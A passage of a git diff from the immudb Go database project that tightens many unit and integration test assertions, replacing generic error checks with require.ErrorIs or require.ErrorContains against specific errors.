db.ZAdd(context.Background(), zaddOpts2) - require.Equal(t, ErrIllegalArguments, err2) + require.ErrorIs(t, err2, ErrIllegalArguments) zaddOpts3 := &schema.ZAddRequest{ Key: []byte(`myThirdElementKey`), @@ -117,7 +117,7 @@ func TestStoreIndexEqualKeys(t *testing.T) { db := makeDb(t) _, err := db.ZAdd(context.Background(), nil) - require.Equal(t, store.ErrIllegalArguments, err) + require.ErrorIs(t, err, store.ErrIllegalArguments) i1, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId1`), Value: []byte(`firstValue`)}}}) i2, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId1`), Value: []byte(`secondValue`)}}}) @@ -275,7 +275,7 @@ func TestStoreIndexEqualKeysMismatchError(t *testing.T) { _, err := db.ZAdd(context.Background(), zaddOpts1) - require.Equal(t, store.ErrKeyNotFound, err) + require.ErrorIs(t, err, store.ErrKeyNotFound) } // TestStore_ZScanMinMax @@ -528,7 +528,7 @@ func TestStore_ZScanInvalidSet(t *testing.T) { Set: nil, } _, err := db.ZScan(context.Background(), opt) - require.Equal(t, store.ErrIllegalArguments, err) + require.ErrorIs(t, err, store.ErrIllegalArguments) } func TestStore_ZScanOnEqualKeysWithSameScoreAreReturnedOrderedByTS(t *testing.T) { @@ -652,7 +652,7 @@ func TestStoreVerifiableZAdd(t *testing.T) { db := makeDb(t) _, err := db.VerifiableZAdd(context.Background(), nil) - require.Equal(t, store.ErrIllegalArguments, err) + require.ErrorIs(t, err, store.ErrIllegalArguments) i1, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key1`), Value: []byte(`value1`)}}}) @@ -660,13 +660,13 @@ func TestStoreVerifiableZAdd(t *testing.T) { ZAddRequest: nil, ProveSinceTx: i1.Id, }) - require.Equal(t, store.ErrIllegalArguments, err) + require.ErrorIs(t, err, store.ErrIllegalArguments) _, err = db.VerifiableZAdd(context.Background(), &schema.VerifiableZAddRequest{ ZAddRequest: nil, ProveSinceTx: i1.Id, }) - require.Equal(t, store.ErrIllegalArguments, err) + require.ErrorIs(t, err, store.ErrIllegalArguments) req := &schema.ZAddRequest{ Set: []byte(`set1`), diff --git a/pkg/database/sql_test.go b/pkg/database/sql_test.go index bdd4f4db33..8a7a606ce3 100644 --- a/pkg/database/sql_test.go +++ b/pkg/database/sql_test.go @@ -32,19 +32,19 @@ func TestSQLExecAndQuery(t *testing.T) { db.maxResultSize = 2 _, _, err := db.SQLExecPrepared(context.Background(), nil, nil, nil) - require.Equal(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) _, _, err = db.SQLExec(context.Background(), nil, nil) - require.Equal(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) _, _, err = db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: "invalid sql statement"}) - require.Error(t, err) + require.ErrorContains(t, err, "syntax error") _, _, err = db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: "CREATE DATABASE db1"}) - require.Error(t, err) + require.ErrorIs(t, err, sql.ErrNoSupported) _, _, err = db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: "USE DATABASE db1"}) - require.Error(t, err) + require.ErrorIs(t, err, sql.ErrNoSupported) ntx, ctxs, err := db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: ` CREATE TABLE table1(id INTEGER AUTO_INCREMENT, title VARCHAR, active BOOLEAN, payload BLOB, PRIMARY KEY id) @@ -75,16 +75,16 @@ func TestSQLExecAndQuery(t *testing.T) { params[0] = &schema.NamedParam{Name: "active", Value: &schema.SQLValue{Value: &schema.SQLValue_B{B: true}}} _, err = db.SQLQueryPrepared(context.Background(), nil, nil, nil) - require.Equal(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.SQLQuery(context.Background(), nil, nil) - require.Equal(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.SQLQuery(context.Background(), nil, &schema.SQLQueryRequest{Sql: "invalid sql statement"}) - require.Error(t, err) + require.ErrorContains(t, err, "syntax error") _, err = db.SQLQuery(context.Background(), nil, &schema.SQLQueryRequest{Sql: "CREATE INDEX ON table1(title)"}) - require.Equal(t, sql.ErrExpectingDQLStmt, err) + require.ErrorIs(t, err, sql.ErrExpectingDQLStmt) q := "SELECT * FROM table1 LIMIT 1" res, err = db.SQLQuery(context.Background(), nil, &schema.SQLQueryRequest{Sql: q, Params: params}) @@ -111,7 +111,7 @@ func TestSQLExecAndQuery(t *testing.T) { require.Equal(t, sql.BooleanType, inferredParams["active"]) _, err = db.VerifiableSQLGet(context.Background(), nil) - require.Equal(t, store.ErrIllegalArguments, err) + require.ErrorIs(t, err, store.ErrIllegalArguments) _, err = db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{ SqlGetRequest: &schema.SQLGetRequest{ @@ -120,7 +120,7 @@ func TestSQLExecAndQuery(t *testing.T) { }, ProveSinceTx: 4, }) - require.Equal(t, store.ErrIllegalState, err) + require.ErrorIs(t, err, store.ErrIllegalState) _, err = db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{ SqlGetRequest: &schema.SQLGetRequest{ @@ -147,7 +147,7 @@ func TestSQLExecAndQuery(t *testing.T) { }, ProveSinceTx: 0, }) - require.Equal(t, store.ErrKeyNotFound, err) + require.ErrorIs(t, err, store.ErrKeyNotFound) ve, err := db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{ SqlGetRequest: &schema.SQLGetRequest{ @@ -177,7 +177,7 @@ func TestSQLExecAndQuery(t *testing.T) { }, ProveSinceTx: 0, }) - require.Equal(t, store.ErrKeyNotFound, err) + require.ErrorIs(t, err, store.ErrKeyNotFound) } @@ -185,10 +185,10 @@ func TestVerifiableSQLGet(t *testing.T) { db := makeDb(t) _, _, err := db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: "CREATE DATABASE db1"}) - require.Error(t, err) + require.ErrorIs(t, err, sql.ErrNoSupported) _, _, err = db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: "USE DATABASE db1"}) - require.Error(t, err) + require.ErrorIs(t, err, sql.ErrNoSupported) t.Run("correctly handle verified get when incorrect number of primary key values is given", func(t *testing.T) { _, _, err := db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: ` diff --git a/pkg/fs/copy_test.go b/pkg/fs/copy_test.go index 6abaed4e9f..891549b2a4 100644 --- a/pkg/fs/copy_test.go +++ b/pkg/fs/copy_test.go @@ -64,7 +64,7 @@ func TestCopyFileOpenDstError(t *testing.T) { return nil, errOpenFile } err = copier.CopyFile(src, filepath.Join(t.TempDir(), "test-copy-file-open-dst-error-dst")) - require.Equal(t, errOpenFile, err) + require.ErrorIs(t, err, errOpenFile) } func TestCopyDir(t *testing.T) { @@ -120,7 +120,6 @@ func TestCopyDirDstAlreadyExists(t *testing.T) { dst := t.TempDir() copier := NewStandardCopier() err := copier.CopyDir(src, dst) - require.Error(t, err) require.ErrorIs(t, err, os.ErrExist) } @@ -136,7 +135,7 @@ func TestCopyDirDstStatError(t *testing.T) { return nil, errDstStat } err := copier.CopyDir(src, dst) - require.Equal(t, errDstStat, err) + require.ErrorIs(t, err, errDstStat) } func TestCopyDirWalkError(t *testing.T) { @@ -152,5 +151,5 @@ func TestCopyDirWalkError(t *testing.T) { return walkFn("", nil, errWalk) } err := copier.CopyDir(src, dst) - require.Equal(t, errWalk, err) + require.ErrorIs(t, err, errWalk) } diff --git a/pkg/fs/tar_test.go b/pkg/fs/tar_test.go index 4bc0eec8cd..a215775489 100644 --- a/pkg/fs/tar_test.go +++ b/pkg/fs/tar_test.go @@ -18,6 +18,7 @@ package fs import ( "errors" + "io" "io/ioutil" "os" "path/filepath" @@ -164,7 +165,8 @@ func TestUnTarNonArchiveSrc(t *testing.T) { require.NoError(t, ioutil.WriteFile(src, []byte("content"), 0644)) tarer := NewStandardTarer() dst := filepath.Join(t.TempDir(), "dst") - require.Error(t, tarer.UnTarIt(src, dst)) + err := tarer.UnTarIt(src, dst) + require.ErrorIs(t, err, io.ErrUnexpectedEOF) } func TestUnTarMkdirAllSubDirError(t *testing.T) { @@ -184,7 +186,8 @@ func TestUnTarMkdirAllSubDirError(t *testing.T) { } return os.MkdirAll(path, perm) } - require.Equal(t, errMkdirAll, tarer.UnTarIt(dst, filepath.Join(t.TempDir(), "dst2"))) + err := tarer.UnTarIt(dst, filepath.Join(t.TempDir(), "dst2")) + require.ErrorIs(t, err, errMkdirAll) } func TestUnTarOpenFileError(t *testing.T) { @@ -199,5 +202,6 @@ func TestUnTarOpenFileError(t *testing.T) { tarer.OS.(*immuos.StandardOS).OpenFileF = func(name string, flag int, perm os.FileMode) (*os.File, error) { return nil, errOpenFile } - require.Equal(t, errOpenFile, tarer.UnTarIt(dst, filepath.Join(t.TempDir(), "dst2"))) + err := tarer.UnTarIt(dst, filepath.Join(t.TempDir(), "dst2")) + require.ErrorIs(t, err, errOpenFile) } diff --git a/pkg/fs/zip_test.go b/pkg/fs/zip_test.go index 03655d8dfc..f751e08b9f 100644 --- a/pkg/fs/zip_test.go +++ b/pkg/fs/zip_test.go @@ -17,6 +17,7 @@ limitations under the License. package fs import ( + "archive/zip" "errors" "io/ioutil" "os" @@ -120,7 +121,8 @@ func TestUnZipSrcNotZipArchive(t *testing.T) { dst := filepath.Join(t.TempDir(), "dst") require.NoError(t, ioutil.WriteFile(src, []byte("content"), 0644)) zipper := NewStandardZiper() - require.Error(t, zipper.UnZipIt(src, dst)) + err := zipper.UnZipIt(src, dst) + require.ErrorIs(t, err, zip.ErrFormat) } func TestUnZipEntryMkdirAllError(t *testing.T) { @@ -159,5 +161,6 @@ func TestUnZipEntryOpenFileError(t *testing.T) { return nil, errOpenFile } dstUnZip := filepath.Join(t.TempDir(), "unzip-dst") - require.Equal(t, errOpenFile, ziper.UnZipIt(dst, dstUnZip)) + err := ziper.UnZipIt(dst, dstUnZip) + require.ErrorIs(t, err, errOpenFile) } diff --git a/pkg/immuos/filepath_test.go b/pkg/immuos/filepath_test.go index 0c651191d6..7f4aef5e48 100644 --- a/pkg/immuos/filepath_test.go +++ b/pkg/immuos/filepath_test.go @@ -40,7 +40,7 @@ func TestStandardFilepath(t *testing.T) { return "", errAbs } _, err = fp.Abs(relPath) - require.Equal(t, errAbs, err) + require.ErrorIs(t, err, errAbs) fp.AbsF = absFOK // Base @@ -83,11 +83,8 @@ func TestStandardFilepath(t *testing.T) { fp.WalkF = func(root string, walkFn filepath.WalkFunc) error { return errWalk } - require.Equal(t, - errWalk, - fp.Walk( - "root", - func(path string, info os.FileInfo, err error) error { return nil })) + err = fp.Walk("root", func(path string, info os.FileInfo, err error) error { return nil }) + require.ErrorIs(t, err, errWalk) fp.WalkF = walkFOK // FromSlash ... diff --git a/pkg/immuos/os_test.go b/pkg/immuos/os_test.go index c7d59a7fd6..b2e6384353 100644 --- a/pkg/immuos/os_test.go +++ b/pkg/immuos/os_test.go @@ -44,7 +44,7 @@ func TestStandardOS(t *testing.T) { return nil, errCreate } _, err = os.Create(filename) - require.Equal(t, errCreate, err) + require.ErrorIs(t, err, errCreate) os.CreateF = createFOK // Getwd @@ -57,7 +57,7 @@ func TestStandardOS(t *testing.T) { return "", errGetwd } _, err = os.Getwd() - require.Equal(t, errGetwd, err) + require.ErrorIs(t, err, errGetwd) os.GetwdF = getwdFOK // Mkdir @@ -68,7 +68,8 @@ func TestStandardOS(t *testing.T) { os.MkdirF = func(name string, perm stdos.FileMode) error { return errMkdir } - require.Equal(t, errMkdir, os.Mkdir(dirname, 0755)) + err = os.Mkdir(dirname, 0755) + require.ErrorIs(t, err, errMkdir) os.MkdirF = mkdirFOK // MkdirAll @@ -79,7 +80,8 @@ func TestStandardOS(t *testing.T) { os.MkdirAllF = func(path string, perm stdos.FileMode) error { return errMkdirAll } - require.Equal(t, errMkdirAll, os.MkdirAll(dirname2, 0755)) + err = os.MkdirAll(dirname2, 0755) + require.ErrorIs(t, err, errMkdirAll) os.MkdirAllF = mkdirAllFOK // Rename @@ -90,7 +92,8 @@ func TestStandardOS(t *testing.T) { os.RenameF = func(oldpath, newpath string) error { return errRename } - require.Equal(t, errRename, os.Rename(filename, filename2)) + err = os.Rename(filename, filename2) + require.ErrorIs(t, err, errRename) os.RenameF = renameFOK // Stat @@ -103,7 +106,7 @@ func TestStandardOS(t *testing.T) { return nil, errStat } _, err = os.Stat(filename2) - require.Equal(t, errStat, err) + require.ErrorIs(t, err, errStat) os.StatF = statFOK // Remove @@ -113,7 +116,8 @@ func TestStandardOS(t *testing.T) { os.RemoveF = func(name string) error { return errRemove } - require.Equal(t, errRemove, os.Remove(filename2)) + err = os.Remove(filename2) + require.ErrorIs(t, err, errRemove) os.RemoveF = removeFOK // RemoveAll @@ -123,7 +127,8 @@ func TestStandardOS(t *testing.T) { os.RemoveAllF = func(path string) error { return errRemoveAll } - require.Equal(t, errRemoveAll, os.RemoveAll(filename2)) + err = os.RemoveAll(filename2) + require.ErrorIs(t, err, errRemoveAll) os.RemoveAllF = removeAllFOK // Chown @@ -132,7 +137,8 @@ func TestStandardOS(t *testing.T) { os.ChownF = func(name string, uid, gid int) error { return errChown } - require.Equal(t, errChown, os.Chown("name", 1, 2)) + err = os.Chown("name", 1, 2) + require.ErrorIs(t, err, errChown) os.ChownF = chownFOK // Chmod @@ -141,7 +147,8 @@ func TestStandardOS(t *testing.T) { os.ChmodF = func(name string, mode stdos.FileMode) error { return errChmod } - require.Equal(t, errChmod, os.Chmod("name", 0644)) + err = os.Chmod("name", 0644) + require.ErrorIs(t, err, errChmod) os.ChmodF = chmodFOK // IsNotExist @@ -159,7 +166,7 @@ func TestStandardOS(t *testing.T) { return nil, errOpen } _, err = os.Open("name") - require.Equal(t, errOpen, err) + require.ErrorIs(t, err ,errOpen) os.OpenF = openFOK // OpenFile @@ -169,7 +176,7 @@ func TestStandardOS(t *testing.T) { return nil, errOpenFile } _, err = os.OpenFile("name", 1, 0644) - require.Equal(t, errOpenFile, err) + require.ErrorIs(t, err, errOpenFile) os.OpenFileF = openFileFOK // Executable @@ -179,7 +186,7 @@ func TestStandardOS(t *testing.T) { return "", errExecutable } _, err = os.Executable() - require.Equal(t, errExecutable, err) + require.ErrorIs(t, err, errExecutable) os.ExecutableF = executableFOK // Getpid @@ -206,7 +213,7 @@ func TestStandardOSFilepathEmbedded(t *testing.T) { return "", errAbs } _, err = os.Abs(relPath) - require.Equal(t, errAbs, err) + require.ErrorIs(t, err, errAbs) os.AbsF = absFOK } @@ -220,7 +227,7 @@ func TestStandardOSUserEmbedded(t *testing.T) { return nil, errLookup } _, err := os.Lookup("username") - require.Equal(t, errLookup, err) + require.ErrorIs(t, err, errLookup) os.LookupF = lookupFOK } diff --git a/pkg/immuos/user_test.go b/pkg/immuos/user_test.go index 76656795b3..29ea80b4aa 100644 --- a/pkg/immuos/user_test.go +++ b/pkg/immuos/user_test.go @@ -33,7 +33,8 @@ func TestStandardUser(t *testing.T) { su.AddGroupF = func(name string) error { return errAddGroup } - require.Equal(t, errAddGroup, su.AddGroup("name")) + err := su.AddGroup("name") + require.ErrorIs(t, err, errAddGroup) su.AddGroupF = addGroupFOK // AddUser @@ -42,7 +43,8 @@ func TestStandardUser(t *testing.T) { su.AddUserF = func(usr string, group string) error { return errAddUser } - require.Equal(t, errAddUser, su.AddUser("usr", "group")) + err = su.AddUser("usr", "group") + require.ErrorIs(t, err, errAddUser) su.AddUserF = addUserFOK // LookupGroup ... @@ -51,8 +53,8 @@ func TestStandardUser(t *testing.T) { su.LookupGroupF = func(name string) (*user.Group, error) { return nil, errLookupGroup } - _, err := su.LookupGroup("name") - require.Equal(t, errLookupGroup, err) + _, err = su.LookupGroup("name") + require.ErrorIs(t, err, errLookupGroup) su.LookupGroupF = lookupGroupFOK // Lookup ... @@ -62,6 +64,6 @@ func TestStandardUser(t *testing.T) { return nil, errLookup } _, err = su.Lookup("username") - require.Equal(t, errLookup, err) + require.ErrorIs(t, err, errLookup) su.LookupF = lookupFOK } diff --git a/pkg/integration/client_test.go b/pkg/integration/client_test.go index 52d8eef0b3..404b833332 100644 --- a/pkg/integration/client_test.go +++ b/pkg/integration/client_test.go @@ -379,12 +379,12 @@ func TestImmuClientTampering(t *testing.T) { } _, err = client.Set(ctx, []byte{1}, []byte{1}) - require.Equal(t, store.ErrCorruptedData, err) + require.ErrorIs(t, err, store.ErrCorruptedData) _, err = client.SetAll(ctx, &schema.SetRequest{ KVs: []*schema.KeyValue{{Key: []byte{1}, Value: []byte{1}}}, }) - require.Equal(t, store.ErrCorruptedData, err) + require.ErrorIs(t, err, store.ErrCorruptedData) bs.Server.PostVerifiableSetFn = func(ctx context.Context, req *schema.VerifiableSetRequest, res *schema.VerifiableTx, err error) (*schema.VerifiableTx, error) { @@ -399,7 +399,7 @@ func TestImmuClientTampering(t *testing.T) { } _, err = client.VerifiedSet(ctx, []byte{1}, []byte{1}) - require.Equal(t, store.ErrCorruptedData, err) + require.ErrorIs(t, err, store.ErrCorruptedData) bs.Server.PostSetReferenceFn = func(ctx context.Context, req *schema.ReferenceRequest, res *schema.TxHeader, err error) (*schema.TxHeader, error) { @@ -414,7 +414,7 @@ func TestImmuClientTampering(t *testing.T) { } _, err = client.SetReference(ctx, []byte{2}, []byte{1}) - require.Equal(t, store.ErrCorruptedData, err) + require.ErrorIs(t, err, store.ErrCorruptedData) bs.Server.PostVerifiableSetReferenceFn = func(ctx context.Context, req *schema.VerifiableReferenceRequest, res *schema.VerifiableTx, err error) (*schema.VerifiableTx, error) { @@ -429,7 +429,7 @@ func TestImmuClientTampering(t *testing.T) { } _, err = client.VerifiedSetReference(ctx, []byte{2}, []byte{1}) - require.Equal(t, store.ErrCorruptedData, err) + require.ErrorIs(t, err, store.ErrCorruptedData) bs.Server.PostZAddFn = func(ctx context.Context, req *schema.ZAddRequest, res *schema.TxHeader, err error) (*schema.TxHeader, error) { @@ -444,7 +444,7 @@ func TestImmuClientTampering(t *testing.T) { } _, err = client.ZAdd(ctx, []byte{7}, 1, []byte{1}) - require.Equal(t, store.ErrCorruptedData, err) + require.ErrorIs(t, err, store.ErrCorruptedData) bs.Server.PostVerifiableZAddFn = func(ctx context.Context, req *schema.VerifiableZAddRequest, res *schema.VerifiableTx, err error) (*schema.VerifiableTx, error) { @@ -459,7 +459,7 @@ func TestImmuClientTampering(t *testing.T) { } _, err = client.VerifiedZAdd(ctx, []byte{7}, 1, []byte{1}) - require.Equal(t, store.ErrCorruptedData, err) + require.ErrorIs(t, err, store.ErrCorruptedData) bs.Server.PostExecAllFn = func(ctx context.Context, req *schema.ExecAllRequest, res *schema.TxHeader, err error) (*schema.TxHeader, error) { @@ -487,7 +487,7 @@ func TestImmuClientTampering(t *testing.T) { } _, err = client.ExecAll(ctx, aOps) - require.Equal(t, store.ErrCorruptedData, err) + require.ErrorIs(t, err, store.ErrCorruptedData) } func TestReplica(t *testing.T) { @@ -516,7 +516,7 @@ func TestReplica(t *testing.T) { ctx = metadata.NewOutgoingContext(context.Background(), md) _, err = client.VerifiedSet(ctx, []byte(`db1-key1`), []byte(`db1-value1`)) - require.Error(t, err) + require.ErrorContains(t, err, database.ErrIsReplica.Error()) } func TestDatabasesSwitching(t *testing.T) { @@ -557,7 +557,7 @@ func TestDatabasesSwitching(t *testing.T) { require.NoError(t, err) vi, err := client.VerifiedGet(ctx, []byte(`db1-my`)) - require.Error(t, err) + require.ErrorContains(t, err, "key not found") require.Nil(t, vi) } @@ -593,7 +593,7 @@ func TestDatabasesSwitchingWithInMemoryToken(t *testing.T) { require.NoError(t, err) vi, err := client.VerifiedGet(context.Background(), []byte(`db1-my`)) - require.Error(t, err) + require.ErrorContains(t, err, "key not found") require.Nil(t, vi) } @@ -758,8 +758,7 @@ func TestImmuClientDisconnectNotConn(t *testing.T) { client.Disconnect() err := client.Disconnect() - require.Error(t, err) - require.ErrorContains(t, err, "not connected") + require.ErrorIs(t, err, ic.ErrNotConnected) } func TestWaitForHealthCheck(t *testing.T) { @@ -772,7 +771,7 @@ func TestWaitForHealthCheck(t *testing.T) { func TestWaitForHealthCheckFail(t *testing.T) { client := ic.NewClient() err := client.WaitForHealthCheck(context.Background()) - require.Error(t, err) + require.ErrorIs(t, err, ic.ErrNotConnected) } func TestSetupDialOptions(t *testing.T) { @@ -807,10 +806,10 @@ func TestUserManagement(t *testing.T) { require.NoError(t, err) err = client.UpdateAuthConfig(ctx, auth.KindPassword) - require.Contains(t, err.Error(), "operation not supported") + require.ErrorContains(t, err, server.ErrNotSupported.Error()) err = client.UpdateMTLSConfig(ctx, false) - require.Contains(t, err.Error(), "operation not supported") + require.ErrorContains(t, err, server.ErrNotSupported.Error()) err = client.CreateUser( ctx, @@ -910,11 +909,11 @@ func TestImmuClient_SetAll(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) _, err := client.SetAll(ctx, nil) - require.Error(t, err) + require.ErrorContains(t, err, "Marshal called with nil") setRequest := &schema.SetRequest{KVs: []*schema.KeyValue{}} _, err = client.SetAll(ctx, setRequest) - require.Error(t, err) + require.ErrorContains(t, err, "no entries provided") setRequest = &schema.SetRequest{KVs: []*schema.KeyValue{ {Key: []byte("1,2,3"), Value: []byte("3,2,1")}, @@ -973,11 +972,11 @@ func TestImmuClient_Delete(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) _, err := client.Delete(ctx, nil) - require.Error(t, err) + require.ErrorContains(t, err, "Marshal called with nil") deleteRequest := &schema.DeleteKeysRequest{} _, err = client.Delete(ctx, deleteRequest) - require.Error(t, err) + require.ErrorContains(t, err, "no entries provided") _, err = client.Set(ctx, []byte("1,2,3"), []byte("3,2,1")) require.NoError(t, err) @@ -990,20 +989,17 @@ func TestImmuClient_Delete(t *testing.T) { require.NoError(t, err) _, err = client.Get(ctx, []byte("expirableKey")) - require.Error(t, err) - require.Contains(t, err.Error(), "key not found") + require.ErrorContains(t, err, "key not found") deleteRequest.Keys = append(deleteRequest.Keys, []byte("1,2,3")) _, err = client.Delete(ctx, deleteRequest) require.NoError(t, err) _, err = client.Get(ctx, []byte("1,2,3")) - require.Error(t, err) - require.Contains(t, err.Error(), "key not found") + require.ErrorContains(t, err, "key not found") _, err = client.Delete(ctx, deleteRequest) - require.Error(t, err) - require.Contains(t, err.Error(), "key not found") + require.ErrorContains(t, err, "key not found") } func TestImmuClient_ExecAllOpsOptions(t *testing.T) { @@ -1192,14 +1188,14 @@ func TestImmuClient_Count(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) _, err := client.Count(ctx, []byte(`key1`)) - require.Error(t, err) + require.ErrorContains(t, err, server.ErrNotSupported.Error()) } func TestImmuClient_CountAll(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) _, err := client.CountAll(ctx) - require.Error(t, err) + require.ErrorContains(t, err, server.ErrNotSupported.Error()) } /* @@ -1361,7 +1357,7 @@ func TestEnforcedLogoutAfterPasswordChangeWithToken(t *testing.T) { // step 6: access the test db again using the test client which should give an error _, err = client.Set(testUserContext, []byte("sampleKey"), []byte("sampleValue")) - require.Error(t, err) + require.ErrorContains(t, err, auth.ErrNotLoggedIn.Error()) } func TestEnforcedLogoutAfterPasswordChangeWithSessions(t *testing.T) { @@ -1452,14 +1448,14 @@ func TestImmuClient_VerifiedGetAt(t *testing.T) { req.KeyRequest.AtTx = txHdr1.Id } _, err = client.VerifiedGetAt(ctx, []byte(`key1`), txHdr2.Id) - require.Equal(t, store.ErrCorruptedData, err) + require.ErrorIs(t, err, store.ErrCorruptedData) bs.Server.PreVerifiableSetFn = func(ctx context.Context, req *schema.VerifiableSetRequest) { req.SetRequest.KVs[0].Value = []byte(`val2`) } _, err = client.VerifiedSet(ctx, []byte(`key1`), []byte(`val3`)) - require.Equal(t, store.ErrCorruptedData, err) + require.ErrorIs(t, err, store.ErrCorruptedData) } func TestImmuClient_VerifiedGetSince(t *testing.T) { diff --git a/pkg/integration/follower_replication_test.go b/pkg/integration/follower_replication_test.go index 3cc8633faf..254857f17e 100644 --- a/pkg/integration/follower_replication_test.go +++ b/pkg/integration/follower_replication_test.go @@ -25,9 +25,11 @@ import ( "testing" "time" + "github.com/codenotary/immudb/embedded" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" ic "github.com/codenotary/immudb/pkg/client" + "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/replication" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/stream" @@ -163,8 +165,7 @@ func TestReplication(t *testing.T) { t.Run("key1 should not exist", func(t *testing.T) { _, err = replicaClient.Get(context.Background(), []byte("key1")) - require.Error(t, err) - require.Contains(t, err.Error(), "key not found") + require.ErrorContains(t, err, embedded.ErrKeyNotFound.Error()) }) _, err = primaryClient.Set(context.Background(), []byte("key1"), []byte("value1")) @@ -188,7 +189,7 @@ func TestReplication(t *testing.T) { t.Run("key1 should not exist in defaultdb@replica", func(t *testing.T) { _, err = replicaClient.Get(context.Background(), []byte("key1")) - require.Contains(t, err.Error(), "key not found") + require.ErrorContains(t, err, embedded.ErrKeyNotFound.Error()) }) err = replicaClient.CloseSession(context.Background()) @@ -285,8 +286,7 @@ func TestSystemDBAndDefaultDBReplication(t *testing.T) { t.Run("key1 should not exist", func(t *testing.T) { _, err = replicaClient.Get(context.Background(), []byte("key1")) - require.Error(t, err) - require.Contains(t, err.Error(), "key not found") + require.ErrorContains(t, err, embedded.ErrKeyNotFound.Error()) }) _, err = primaryClient.Set(context.Background(), []byte("key1"), []byte("value1")) @@ -300,7 +300,7 @@ func TestSystemDBAndDefaultDBReplication(t *testing.T) { }) _, err = replicaClient.Set(context.Background(), []byte("key2"), []byte("value2")) - require.Contains(t, err.Error(), "database is read-only because it's a replica") + require.ErrorContains(t, err, database.ErrIsReplica.Error()) } func BenchmarkExportTx(b *testing.B) { diff --git a/pkg/integration/server_recovery_test.go b/pkg/integration/server_recovery_test.go index 63ea8dda9a..80fcd67aec 100644 --- a/pkg/integration/server_recovery_test.go +++ b/pkg/integration/server_recovery_test.go @@ -38,7 +38,7 @@ func TestServerRecovertMode(t *testing.T) { s := server.DefaultServer().WithOptions(serverOptions).(*server.ImmuServer) err := s.Initialize() - require.Equal(t, server.ErrAuthMustBeDisabled, err) + require.ErrorIs(t, err, server.ErrAuthMustBeDisabled) serverOptions = server.DefaultOptions(). WithDir(dir). diff --git a/pkg/integration/signature_verifier_interceptor_test.go b/pkg/integration/signature_verifier_interceptor_test.go index 4c5764cd45..d935315a34 100644 --- a/pkg/integration/signature_verifier_interceptor_test.go +++ b/pkg/integration/signature_verifier_interceptor_test.go @@ -74,7 +74,7 @@ func TestSignatureVerifierInterceptorUnableToVerify(t *testing.T) { return nil } err = c.SignatureVerifierInterceptor(context.Background(), "/immudb.schema.ImmuService/CurrentState", &empty.Empty{}, state, nil, invoker, nil) - require.Error(t, err) + require.ErrorContains(t, err, "unable to verify signature") } func TestSignatureVerifierInterceptorSignatureDoesntMatch(t *testing.T) { @@ -99,7 +99,7 @@ func TestSignatureVerifierInterceptorSignatureDoesntMatch(t *testing.T) { err = c.SignatureVerifierInterceptor(context.Background(), "/immudb.schema.ImmuService/CurrentState", &empty.Empty{}, state, nil, invoker, nil) - require.Error(t, err) + require.ErrorContains(t, err, "signature doesn't match provided public key") } func TestSignatureVerifierInterceptorNoPublicKey(t *testing.T) { @@ -116,5 +116,5 @@ func TestSignatureVerifierInterceptorNoPublicKey(t *testing.T) { err := c.SignatureVerifierInterceptor(context.Background(), "/immudb.schema.ImmuService/CurrentState", &empty.Empty{}, state, nil, invoker, nil) - require.Error(t, err) + require.ErrorContains(t, err, "public key not loaded") } diff --git a/pkg/integration/sql/sql_test.go b/pkg/integration/sql/sql_test.go index 3c2ee38f10..2b0283b7d4 100644 --- a/pkg/integration/sql/sql_test.go +++ b/pkg/integration/sql/sql_test.go @@ -88,13 +88,13 @@ func TestImmuClient_SQL(t *testing.T) { for _, row := range res.Rows { err := client.VerifyRow(ctx, row, "table1", []*schema.SQLValue{row.Values[0]}) - require.Equal(t, sql.ErrColumnDoesNotExist, err) + require.ErrorIs(t, err, sql.ErrColumnDoesNotExist) } for i := len(res.Rows); i > 0; i-- { row := res.Rows[i-1] err := client.VerifyRow(ctx, row, "table1", []*schema.SQLValue{row.Values[0]}) - require.Equal(t, sql.ErrColumnDoesNotExist, err) + require.ErrorIs(t, err, sql.ErrColumnDoesNotExist) } res, err = client.SQLQuery(ctx, ` @@ -112,7 +112,7 @@ func TestImmuClient_SQL(t *testing.T) { row.Values[1].Value = &schema.SQLValue_S{S: "tampered title"} err = client.VerifyRow(ctx, row, "table1", []*schema.SQLValue{row.Values[0]}) - require.Equal(t, sql.ErrCorruptedData, err) + require.ErrorIs(t, err, sql.ErrCorruptedData) } res, err = client.SQLQuery(ctx, "SELECT id, active FROM table1", nil, true) diff --git a/pkg/integration/stream/stream_replication_test.go b/pkg/integration/stream/stream_replication_test.go index 1ec423c1fc..0e0a8db6a3 100644 --- a/pkg/integration/stream/stream_replication_test.go +++ b/pkg/integration/stream/stream_replication_test.go @@ -112,11 +112,11 @@ func TestImmuClient_ExportAndReplicateTx(t *testing.T) { require.NoError(t, err) _, err = client.ExportTx(context.Background(), &schema.ExportTxRequest{Tx: 1}) - require.Equal(t, ic.ErrNotConnected, err) + require.ErrorIs(t, err, ic.ErrNotConnected) err = rclient.CloseSession(context.Background()) require.NoError(t, err) _, err = rclient.ReplicateTx(rctx) - require.Equal(t, ic.ErrNotConnected, err) 